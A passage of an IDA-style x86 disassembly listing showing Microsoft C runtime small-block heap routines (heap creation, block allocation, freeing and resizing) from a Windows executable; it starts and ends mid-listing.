loc_40F9E8 ; --------------------------------------------------------------------------- loc_40F997: ; CODE XREF: sub_40F934+52j push 0Ah call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi], ebx jnz short loc_40F9D2 push 0FA0h push edi call sub_416874 pop ecx pop ecx test eax, eax jnz short loc_40F9CE push edi call sub_40D35A pop ecx call sub_40F7D4 mov dword ptr [eax], 0Ch mov [ebp+var_1C], ebx jmp short loc_40F9D9 ; --------------------------------------------------------------------------- loc_40F9CE: ; CODE XREF: sub_40F934+81j mov [esi], edi jmp short loc_40F9D9 ; --------------------------------------------------------------------------- loc_40F9D2: ; CODE XREF: sub_40F934+70j push edi call sub_40D35A pop ecx loc_40F9D9: ; CODE XREF: sub_40F934+98j ; sub_40F934+9Cj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40F9EE mov eax, [ebp+var_1C] loc_40F9E8: ; CODE XREF: sub_40F934+44j ; sub_40F934+61j call __SEH_epilog4 retn sub_40F934 endp ; =============== S U B R O U T I N E ======================================= sub_40F9EE proc near ; CODE XREF: sub_40F934+ACp ; DATA XREF: r69pu5ti:00421AC8o push 0Ah call sub_40F91F pop ecx retn sub_40F9EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9F7 proc near ; CODE XREF: sub_40C58B+44p ; sub_40D35A+1Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:423800h[eax*8] cmp dword ptr [esi], 0 jnz short loc_40FA1D push eax call sub_40F934 test eax, eax pop ecx jnz short loc_40FA1D push 11h call sub_41195D pop ecx loc_40FA1D: ; CODE XREF: sub_40F9F7+11j ; sub_40F9F7+1Cj push dword ptr [esi] call ds:dword_41E150 ; RtlEnterCriticalSection pop esi pop ebp retn sub_40F9F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA28 proc near ; CODE XREF: sub_40FA83:loc_40FAA6p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi lea eax, [ebp+var_4] xor esi, esi push eax mov [ebp+var_4], esi mov [ebp+var_8], esi call sub_411A06 test eax, eax pop ecx jz short loc_40FA51 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_40FA51: ; CODE XREF: sub_40FA28+1Aj lea eax, [ebp+var_8] push eax call sub_411A3D test eax, eax pop ecx jz short loc_40FA6C push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_40FA6C: ; CODE XREF: sub_40FA28+35j cmp [ebp+var_4], 2 pop esi jnz short loc_40FA7E cmp [ebp+var_8], 5 jb short loc_40FA7E xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_40FA7E: ; CODE XREF: sub_40FA28+49j ; sub_40FA28+4Fj push 3 pop eax leave retn sub_40FA28 endp ; =============== S U B R O U T I N E ======================================= sub_40FA83 proc near ; CODE XREF: .text:0040E0A3p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_41E148 ; HeapCreate test eax, eax mov dword_425FE8, eax jnz short loc_40FAA6 loc_40FAA3: ; CODE XREF: sub_40FA83+54j xor eax, eax retn ; --------------------------------------------------------------------------- loc_40FAA6: ; CODE XREF: sub_40FA83+1Ej call sub_40FA28 cmp eax, 3 mov dword_434D5C, eax jnz short loc_40FAD9 push 3F8h call sub_40FADD test eax, eax pop ecx jnz short loc_40FAD9 push dword_425FE8 call ds:off_41E14C and dword_425FE8, 0 jmp short loc_40FAA3 ; --------------------------------------------------------------------------- loc_40FAD9: ; CODE XREF: sub_40FA83+30j ; sub_40FA83+3Fj xor eax, eax inc eax retn sub_40FA83 endp ; =============== S U B R O U T I N E ======================================= sub_40FADD proc near ; CODE XREF: sub_40FA83+37p arg_0 = dword ptr 4 push 140h push 0 push dword_425FE8 call ds:dword_41E0F8 ; RtlAllocateHeap test eax, eax mov dword_434D48, eax jnz short loc_40FAFA retn ; --------------------------------------------------------------------------- loc_40FAFA: ; CODE XREF: sub_40FADD+1Aj mov ecx, [esp+arg_0] and dword_425FEC, 0 and dword_434D44, 0 mov dword_434D50, eax xor eax, eax mov dword_434D4C, ecx mov dword_434D54, 10h inc eax retn sub_40FADD endp ; =============== S U B R O U T I N E ======================================= sub_40FB25 proc near ; CODE XREF: sub_40C58B+4Ep ; sub_40D35A+29p ... arg_0 = dword ptr 4 mov ecx, dword_434D44 mov eax, dword_434D48 imul ecx, 14h add ecx, eax jmp short loc_40FB49 ; --------------------------------------------------------------------------- loc_40FB37: ; CODE XREF: sub_40FB25+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_40FB4F add eax, 14h loc_40FB49: ; CODE XREF: sub_40FB25+10j cmp eax, ecx jb short loc_40FB37 xor eax, eax locret_40FB4F: ; CODE XREF: sub_40FB25+1Fj retn sub_40FB25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB50 proc near ; CODE XREF: sub_40D35A+38p ; sub_417720+B5p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_40FE60 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_40FC1B sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40FBB3 push 3Fh pop edx loc_40FBB3: ; CODE XREF: sub_40FB50+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40FBFD cmp edx, 20h mov ebx, 80000000h jnb short loc_40FBDE mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_40FBFA mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40FBFA ; --------------------------------------------------------------------------- loc_40FBDE: ; CODE XREF: sub_40FB50+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40FBFA mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40FBFA: ; CODE XREF: sub_40FB50+85j ; sub_40FB50+8Cj ... mov ebx, [ebp+arg_4] loc_40FBFD: ; CODE XREF: sub_40FB50+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_40FC1B: ; CODE XREF: sub_40FB50+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40FC29 push 3Fh pop edx loc_40FC29: ; CODE XREF: sub_40FB50+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_40FCC7 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_40FC4E mov ebx, esi loc_40FC4E: ; CODE XREF: sub_40FB50+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_40FC60 mov edx, esi loc_40FC60: ; CODE XREF: sub_40FB50+10Cj cmp ebx, edx jz short loc_40FCC2 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_40FCAA cmp ebx, 20h mov esi, 80000000h jnb short loc_40FC90 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_40FCAA mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_40FCAA ; --------------------------------------------------------------------------- loc_40FC90: ; CODE XREF: sub_40FB50+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_40FCAA mov ecx, [ebp+arg_0] and [ecx+4], esi loc_40FCAA: ; CODE XREF: sub_40FB50+11Dj ; sub_40FB50+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_40FCC2: ; CODE XREF: sub_40FB50+112j mov esi, [ebp+arg_4] jmp short loc_40FCCA ; --------------------------------------------------------------------------- loc_40FCC7: ; CODE XREF: sub_40FB50+E2j mov ebx, [ebp+arg_0] loc_40FCCA: ; CODE XREF: sub_40FB50+175j cmp [ebp+var_C], 0 jnz short loc_40FCD8 cmp ebx, edx jz loc_40FD58 loc_40FCD8: ; CODE XREF: sub_40FB50+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_40FD58 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_40FD2F cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40FD1E mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40FD1E: ; CODE XREF: sub_40FB50+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_40FD58 ; --------------------------------------------------------------------------- loc_40FD2F: ; CODE XREF: sub_40FB50+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40FD45 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_40FD45: ; CODE XREF: sub_40FB50+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_40FD58: ; CODE XREF: sub_40FB50+182j ; sub_40FB50+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_40FE5F mov eax, dword_425FEC test eax, eax jz loc_40FE51 mov ecx, dword_434D58 mov esi, ds:off_41E144 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; sub_43BA32 mov ecx, dword_434D58 mov eax, dword_425FEC mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_425FEC mov eax, [eax+10h] mov ecx, dword_434D58 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_425FEC mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_425FEC mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_40FDE6 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_425FEC loc_40FDE6: ; CODE XREF: sub_40FB50+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40FE51 push ebx push 0 push dword ptr [eax+0Ch] call esi ; sub_43BA32 mov eax, dword_425FEC push dword ptr [eax+10h] push 0 push dword_425FE8 call ds:dword_41E0F0 ; RtlFreeHeap mov ecx, dword_434D44 mov eax, dword_425FEC imul ecx, 14h mov edx, dword_434D48 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_411470 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_434D44 cmp eax, dword_425FEC jbe short loc_40FE47 sub [ebp+arg_0], 14h loc_40FE47: ; CODE XREF: sub_40FB50+2F1j mov eax, dword_434D48 mov dword_434D50, eax loc_40FE51: ; CODE XREF: sub_40FB50+223j ; sub_40FB50+29Aj mov eax, [ebp+arg_0] mov dword_425FEC, eax mov dword_434D58, edi loc_40FE5F: ; CODE XREF: sub_40FB50+216j pop ebx loc_40FE60: ; CODE XREF: sub_40FB50+37j pop edi pop esi leave retn sub_40FB50 endp ; =============== S U B R O U T I N E ======================================= sub_40FE64 proc near ; CODE XREF: sub_4102F9+C0p mov eax, dword_434D54 push esi mov esi, dword_434D44 push edi xor edi, edi cmp esi, eax jnz short loc_40FEAB add eax, 10h imul eax, 14h push eax push dword_434D48 push edi push dword_425FE8 call ds:off_41E13C cmp eax, edi jnz short loc_40FE99 loc_40FE95: ; CODE XREF: sub_40FE64+68j ; sub_40FE64+94j xor eax, eax jmp short loc_40FF11 ; --------------------------------------------------------------------------- loc_40FE99: ; CODE XREF: sub_40FE64+2Fj add dword_434D54, 10h mov esi, dword_434D44 mov dword_434D48, eax loc_40FEAB: ; CODE XREF: sub_40FE64+11j imul esi, 14h add esi, dword_434D48 push 41C4h push 8 push dword_425FE8 call ds:dword_41E0F8 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40FE95 push 4 push 2000h push 100000h push edi call ds:off_41E140 cmp eax, edi mov [esi+0Ch], eax jnz short loc_40FEFA push dword ptr [esi+10h] push edi push dword_425FE8 call ds:dword_41E0F0 ; RtlFreeHeap jmp short loc_40FE95 ; --------------------------------------------------------------------------- loc_40FEFA: ; CODE XREF: sub_40FE64+82j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_434D44 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_40FF11: ; CODE XREF: sub_40FE64+33j pop edi pop esi retn sub_40FE64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF14 proc near ; CODE XREF: sub_4102F9+D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_40FF2C ; --------------------------------------------------------------------------- loc_40FF29: ; CODE XREF: sub_40FF14+1Aj add eax, eax inc ebx loc_40FF2C: ; CODE XREF: sub_40FF14+13j test eax, eax jge short loc_40FF29 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_40FF45: ; CODE XREF: sub_40FF14+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_40FF45 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:off_41E140 test eax, eax jnz short loc_40FF78 or eax, 0FFFFFFFFh jmp loc_410015 ; --------------------------------------------------------------------------- loc_40FF78: ; CODE XREF: sub_40FF14+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_40FFC8 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_40FF90: ; CODE XREF: sub_40FF14+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_40FF90 mov edx, [ebp+var_4] loc_40FFC8: ; CODE XREF: sub_40FF14+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_410005 or [eax+4], edi loc_410005: ; CODE XREF: sub_40FF14+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_410015: ; CODE XREF: sub_40FF14+5Fj pop edi pop esi pop ebx leave retn sub_40FF14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41001A proc near ; CODE XREF: sub_417720+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_4101BC test bl, 1 jnz loc_4101B5 add ebx, ecx cmp esi, ebx jg loc_4101B5 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41008F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41008F: ; CODE XREF: sub_41001A+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4100DA cmp ecx, 20h mov ebx, 80000000h jnb short loc_4100BB shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4100DA mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4100DA ; --------------------------------------------------------------------------- loc_4100BB: ; CODE XREF: sub_41001A+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4100DA mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4100DA: ; CODE XREF: sub_41001A+7Bj ; sub_41001A+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_4101A3 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_410114 push 3Fh pop edi loc_410114: ; CODE XREF: sub_41001A+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_410191 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_410168 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_410160 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_410160: ; CODE XREF: sub_41001A+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_410188 ; --------------------------------------------------------------------------- loc_410168: ; CODE XREF: sub_41001A+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41017E lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41017E: ; CODE XREF: sub_41001A+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_410188: ; CODE XREF: sub_41001A+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_410191: ; CODE XREF: sub_41001A+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4101A6 ; --------------------------------------------------------------------------- loc_4101A3: ; CODE XREF: sub_41001A+DEj mov edx, [ebp+arg_4] loc_4101A6: ; CODE XREF: sub_41001A+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4102F1 ; --------------------------------------------------------------------------- loc_4101B5: ; CODE XREF: sub_41001A+50j ; sub_41001A+5Aj xor eax, eax jmp loc_4102F4 ; --------------------------------------------------------------------------- loc_4101BC: ; CODE XREF: sub_41001A+47j jge loc_4102F1 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_4101E7 push 3Fh pop esi loc_4101E7: ; CODE XREF: sub_41001A+1C8j test byte ptr [ebp+var_4], 1 jnz loc_410271 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_410200 push 3Fh pop esi loc_410200: ; CODE XREF: sub_41001A+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41024A cmp esi, 20h mov ebx, 80000000h jnb short loc_41022B mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_410247 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_410247 ; --------------------------------------------------------------------------- loc_41022B: ; CODE XREF: sub_41001A+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_410247 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_410247: ; CODE XREF: sub_41001A+208j ; sub_41001A+20Fj ... mov ebx, [ebp+arg_4] loc_41024A: ; CODE XREF: sub_41001A+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_410271 push 3Fh pop esi loc_410271: ; CODE XREF: sub_41001A+1D1j ; sub_41001A+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4102E8 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_4102BF cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4102B7 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4102B7: ; CODE XREF: sub_41001A+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_4102DF ; --------------------------------------------------------------------------- loc_4102BF: ; CODE XREF: sub_41001A+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4102D5 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4102D5: ; CODE XREF: sub_41001A+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_4102DF: ; CODE XREF: sub_41001A+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_4102E8: ; CODE XREF: sub_41001A+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4102F1: ; CODE XREF: sub_41001A+196j ; sub_41001A:loc_4101BCj xor eax, eax inc eax loc_4102F4: ; CODE XREF: sub_41001A+19Dj pop edi pop esi pop ebx leave retn sub_41001A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102F9 proc near ; CODE XREF: sub_40D3E8+28p ; sub_417602+88p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_434D44 mov ecx, [ebp+arg_0] imul eax, 14h add eax, dword_434D48 add ecx, 17h and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 push ebx dec ecx cmp ecx, 20h push esi push edi jge short loc_410330 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_41033D ; --------------------------------------------------------------------------- loc_410330: ; CODE XREF: sub_4102F9+2Aj add ecx, 0FFFFFFE0h or edx, 0FFFFFFFFh xor esi, esi shr edx, cl mov [ebp+var_8], edx loc_41033D: ; CODE XREF: sub_4102F9+35j mov ecx, dword_434D50 mov ebx, ecx jmp short loc_410358 ; --------------------------------------------------------------------------- loc_410347: ; CODE XREF: sub_4102F9+64j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_41035F add ebx, 14h loc_410358: ; CODE XREF: sub_4102F9+4Cj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_410347 loc_41035F: ; CODE XREF: sub_4102F9+5Aj cmp ebx, eax jnz short loc_4103E2 mov ebx, dword_434D48 jmp short loc_41037C ; --------------------------------------------------------------------------- loc_41036B: ; CODE XREF: sub_4102F9+88j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_410383 add ebx, 14h loc_41037C: ; CODE XREF: sub_4102F9+70j cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_41036B loc_410383: ; CODE XREF: sub_4102F9+7Ej cmp ebx, ecx jnz short loc_4103E2 jmp short loc_410395 ; --------------------------------------------------------------------------- loc_410389: ; CODE XREF: sub_4102F9+9Ej cmp dword ptr [ebx+8], 0 jnz short loc_410399 add ebx, 14h mov [ebp+arg_0], ebx loc_410395: ; CODE XREF: sub_4102F9+8Ej cmp ebx, eax jb short loc_410389 loc_410399: ; CODE XREF: sub_4102F9+94j cmp ebx, eax jnz short loc_4103CE mov ebx, dword_434D48 jmp short loc_4103AE ; --------------------------------------------------------------------------- loc_4103A5: ; CODE XREF: sub_4102F9+BAj cmp dword ptr [ebx+8], 0 jnz short loc_4103B5 add ebx, 14h loc_4103AE: ; CODE XREF: sub_4102F9+AAj cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_4103A5 loc_4103B5: ; CODE XREF: sub_4102F9+B0j cmp ebx, ecx jnz short loc_4103CE call sub_40FE64 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jnz short loc_4103CE loc_4103C7: ; CODE XREF: sub_4102F9+E7j xor eax, eax jmp loc_4105D7 ; --------------------------------------------------------------------------- loc_4103CE: ; CODE XREF: sub_4102F9+A2j ; sub_4102F9+BEj ... push ebx call sub_40FF14 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4103C7 loc_4103E2: ; CODE XREF: sub_4102F9+68j ; sub_4102F9+8Cj mov dword_434D50, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_410409 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_410432 loc_410409: ; CODE XREF: sub_4102F9+FAj and [ebp+var_4], 0 mov edx, [eax+0C4h] lea ecx, [eax+44h] loc_410416: ; CODE XREF: sub_4102F9+134j mov edi, [ecx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_41042F inc [ebp+var_4] mov edx, [ecx+84h] add ecx, 4 jmp short loc_410416 ; --------------------------------------------------------------------------- loc_41042F: ; CODE XREF: sub_4102F9+126j mov edx, [ebp+var_4] loc_410432: ; CODE XREF: sub_4102F9+10Ej mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_410460 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_410460 ; --------------------------------------------------------------------------- loc_41045D: ; CODE XREF: sub_4102F9+169j add ecx, ecx inc edi loc_410460: ; CODE XREF: sub_4102F9+153j ; sub_4102F9+162j test ecx, ecx jge short loc_41045D mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_410481 push 3Fh pop esi loc_410481: ; CODE XREF: sub_4102F9+183j cmp esi, edi jz loc_41058A mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4104ED cmp edi, 20h mov ebx, 80000000h jge short loc_4104C1 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4104EA mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_4104ED ; --------------------------------------------------------------------------- loc_4104C1: ; CODE XREF: sub_4102F9+1A0j lea ecx, [edi-20h] shr ebx, cl mov ecx, 